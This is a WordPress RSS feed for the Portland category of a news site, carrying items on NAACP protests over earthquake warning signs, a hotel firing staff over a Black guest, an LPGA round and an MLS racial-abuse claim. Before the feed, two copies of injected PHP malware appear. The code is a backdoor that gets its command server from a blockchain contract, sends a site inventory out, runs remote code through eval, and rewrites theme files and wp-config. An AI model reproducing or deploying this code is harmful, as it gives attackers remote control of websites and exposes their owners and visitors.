// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Portland – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 07 Jan 2019 01:27:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Portland – Brief News https://briefnews.eu 32 32 Compulsory earthquake warnings are racist, Portland NAACP says https://briefnews.eu/compulsory-earthquake-warnings-are-racist-portland-naacp-says/ https://briefnews.eu/compulsory-earthquake-warnings-are-racist-portland-naacp-says/#respond Mon, 07 Jan 2019 01:27:47 +0000 http://briefnews.eu/compulsory-earthquake-warnings-are-racist-portland-naacp-says/ Protesters in Portland, Oregon, have rallied against a city policy demanding that owners of brick houses post warnings of potential collapse in case of an earthquake. Civil rights activists say the order targets black population.

Dozens of activists led by Portland’s chapter of the National Association for the Advancement of Colored People (NAACP) took to the streets on Saturday to protest the city policy that has come into effect this week. The policy, adopted in October, orders owners of old brickstone buildings to put up a sign that read: “This is an unreinforced masonry building. Unreinforced masonry buildings may be unsafe in the event of a major earthquake.”

The city officials say the policy is aimed at raising awareness about the structures’ vulnerability to earthquakes, with experts pointing out that Portland is a high-risk area and may see a potent earthquake in the next 50 years. Some 1,600 aging buildings are estimated to fall under the new policy.




Also on rt.com
Hotel fires 2 employees who called cops on black guest for talking on phone (VIDEO)



However, Portland’s black rights activists argue that the policy would drive the remnants of the city’s black population, concentrated in the north and northeast of the city, out. Since the investors and banks would likely be discouraged by “black marks,” the current owners of the buildings would be ultimately force to sell them to developers, who then would remodel the buildings, hiking up the cost of living in the neighborhoods, NAACP believes.

Read more


© Bobby Yip

The new policy “exacerbates a long history of systemic and structural betrayals of trust and policies of displacement, demolition, and dispossession predicated on classism, racism, and white supremacy,” NAACP said in a statement Thursday.

The requirement also drew anger from renters and Portland’s music industry, with the group representing the owners of music parlors saying that some 30 venues might have to be shut down due to the policy.

The city authorities have brushed off the concerns, with Alex Cousins, a spokesman for the city’s Bureau of Development Services, saying that there is nothing in the policy that “attaches an encumbrance or lien.”

Speaking at the rally, The Rev. E.D. Mondainé, president of Portland NAACP, pointed to the city’s ignominious record of discriminating against its black population, arguing that the policy championed by the city’s authorities is essentially history repeating itself.

“We will no longer allow the same tactics. We will no longer allow these things to remove us from our community. We want action,” Mondainé said.

READ MORE: Congressman warns US heading towards civil war – 31% of Americans agree

The policy will be implemented in stages. Most of the buildings are supposed to post quake warnings by March 1, while churches and other non-profit organizations are due to comply by 2020. In addition to that, the warnings have to be distributed to the residents of the buildings.

Read more


Police officers hold back Antifa protesters at a rally in Portland © Reuters / Elijah Nouvelage

“It speaks to our houses of worship and everything about the black presence in the North-Northeast area,” Mondainé said.

Gentrification displaced some 10,000, mainly people of color with low income, from historically black neighborhoods between 1990 and 2000, with the “urban renewals” continuing into the first decade of the 21st century.

Before that, decades of redlining policies by banks discouraged home ownership in North and Northeast Portland.

Portland has been often described as the “whitest city of America,” with African-American populating accounting for only 6.3 percent of the total, according to the 2010 census numbers.

To rectify the ills of the past, Portland Community Reinvestment Initiatives, Inc. (PCRI) and the Portland Housing Bureau have been implementing a specifically designed N/NE Preference Policy, informally known as the “right of return” policy, that gives preferences to housing applications from displaced former residents of the area or to their descendants.

Think your friends would be interested? Share this story!

Let’s block ads! (Why?)

]]>
https://briefnews.eu/compulsory-earthquake-warnings-are-racist-portland-naacp-says/feed/ 0
A Portland hotel fired 2 employees after they called the police on a black guest https://briefnews.eu/a-portland-hotel-fired-2-employees-after-they-called-the-police-on-a-black-guest/ https://briefnews.eu/a-portland-hotel-fired-2-employees-after-they-called-the-police-on-a-black-guest/#respond Sun, 30 Dec 2018 23:18:39 +0000 http://briefnews.eu/a-portland-hotel-fired-2-employees-after-they-called-the-police-on-a-black-guest/ jermaine massey oregon hotelInstagram/Jermaine Massey

  • An Oregon hotel announced Saturday it fired two employees who called the police on a black guest, after spotting him in the lobby and demanding to know his room number.
  • Jermaine Massey said that even though he showed the guard his hotel key, the guard told him to leave and a manager called the police and accused Massey of loitering.
  • The DoubleTree by Hilton hotel tweeted on Saturday it had “zero tolerance for racism,” and apologized to Massey.

A hotel in Portland, Oregon, announced Saturday it fired two employees over mistreating a black guest, whom they asked to leave last week before calling the police.

Jermaine Massey, 34, said he was talking to his mother on his phone in lobby of the DoubleTree by Hilton hotel last Saturday when a security guard approached him to ask if he was a guest, and what his room number was.

See the rest of the story at Business Insider

NOW WATCH: Anthony Scaramucci claims Trump isn’t a nationalist: ‘He likes saying that because it irks these intellectual elitists’

See Also:

SEE ALSO: ‘We’ve seen this coming’: Why migrant children are dying in Border Patrol custody

]]>
https://briefnews.eu/a-portland-hotel-fired-2-employees-after-they-called-the-police-on-a-black-guest/feed/ 0
Brooke Henderson tied for 2nd after 1st round of Cambia Portland Classic https://briefnews.eu/brooke-henderson-tied-for-2nd-after-1st-round-of-cambia-portland-classic/ https://briefnews.eu/brooke-henderson-tied-for-2nd-after-1st-round-of-cambia-portland-classic/#respond Fri, 31 Aug 2018 03:13:04 +0000 http://briefnews.eu/brooke-henderson-tied-for-2nd-after-1st-round-of-cambia-portland-classic/

Marina Alex matched the course record with a 10-under 62 on Thursday to take a two-stroke lead over Brooke Henderson and Minjee Lee in the Cambia Portland Classic.

Watch Henderson cap her round with a birdie:

Canadian shoots 8-under 64, tied for 2nd place after 1st round. 1:04

With Stacy Lewis unable to defend her title as she prepares for the birth of her first child, Alex is using her friend's caddie, Travis Wilson, at Columbia Edgewater.

"It's been a blast," Alex said. "The timing was great. He wanted to work a couple more events before the season ended and I was looking. Trav is awesome. So much fun, really lighthearted."

Henderson reflects on winning the CP Women's Open:

Henderson reflects on becoming the 1st Canadian woman in 45 years to win the national golf title. 4:49

They had a lot of fun Thursday morning on the tree-lined layout.

"The course is in perfect shape," Alex said. "So, if you're hitting your lines, you're going to make a ton of putts. … I'm going to have to come out and make as many birdies as I can the next three days."

Winless on the tour, the 28-year-old former Vanderbilt player birdied the last four holes and five of the last six in a back-nine 30.

"Got my ball-striking together and it was awesome," Alex said.

Henderson finishes strong

Henderson, the 2015 and 2016 winner from Smiths Falls, Ontario, birdied five of the last six holes for a 64. The 20-year-old star is coming off a victory Sunday in the CP Women's Open on home soil in Regina.

"I could see the scores were really low today, so I wanted to go low on the back nine," Henderson said. "And I was able to get five birdies. I'm really happy with this round."

Watch highlights from Henderson's win at the CP Women's Open:

The Canadian paced the field, finishing 21-under par to win the CP Women's Open. She became just the 2nd Canadian women to win the tournament, snapping a 45-year drought. 1:58

There are five other Canadians in the field.

Brittany Marchand of Orangeville, Ont., opened with a 3-under 69. Hamilton's Alena Sharp and Quebec City's Anne-Catherine Tanguay (72) are even while Charlottetown's Lori Kane (76) and Maude-Aimee Leblanc of Sherbrooke, Que., (78) are well back.

Plenty in close range of lead

Lee closed with a bogey on the par-4 ninth. The Australian birdied her first five holes and six of the first seven.

"I think it was a combination of everything," Lee said. "Most of the day I struck it pretty well with my iron shots. I had pretty good control of the yardages and I hit some solid putts."

Robynn Ree was at 65 after a closing bogey. After a last-minute putter change, the 21-year-old former Southern California player played the first 10 holes in 7 under. She had 10 birdies — five in a row on Nos. 2-6 — and two bogeys.

"I was like maybe I'll get the new putter vibes," Ree said. "Luckily, that worked out today and my shots were so much better. I was really fortunate that I was hitting well and putting well."

Women's British Open champion Georgia Hall matched Su Oh at 66.

"It's an amazing golf course," Hall said. "It's in great condition."

Anna Nordqvist, Brittany Lincicome, Angela Stanford and Mariah Stackhouse topped the group at 67.

Early nerves for Stupples

Lexi Thompson eagled the par-5 seventh in a 68. She missed the cut last week in Canada after tying for 12th in Indianapolis following a three-week break for emotional and mental fatigue.

Inbee Park, playing for the first time since the Women's British Open, opened with a 69 playing alongside Thompson and Shanshan Feng (72).

Karen Stupples had a 69 in her first tour start in more than two years. The 45-year-old English player is a commentator for Golf Channel.

"I was pretty nervous," Stupples said. "I started to get nervous last night. But managed just to play and have fun with it today. It was really fun, actually. I enjoyed it and the challenge. One-under par, that was pretty good. It was way above my expectations."

Let’s block ads! (Why?)

]]>
https://briefnews.eu/brooke-henderson-tied-for-2nd-after-1st-round-of-cambia-portland-classic/feed/ 0
MLS player Adama Diomande ‘racially abused’ during Los Angeles v Portland game https://briefnews.eu/mls-player-adama-diomande-racially-abused-during-los-angeles-v-portland-game/ https://briefnews.eu/mls-player-adama-diomande-racially-abused-during-los-angeles-v-portland-game/#respond Thu, 19 Jul 2018 15:48:40 +0000 http://briefnews.eu/mls-player-adama-diomande-racially-abused-during-los-angeles-v-portland-game/

MLS player Adama Diomande says he was racially abused while playing for Los Angeles FC against Portland Timbers in the US Open Cup on Wednesday.

Diomande, who has formerly played at Hull City in England, claimed he was called the n-word in the 3-2 victory against Portland, adding it was the first time he had been racially abused on the pitch in his decade-long professional career.

The 28-year-old made the statement about the slur on his Instagram account, with the post accompanied by a black square.

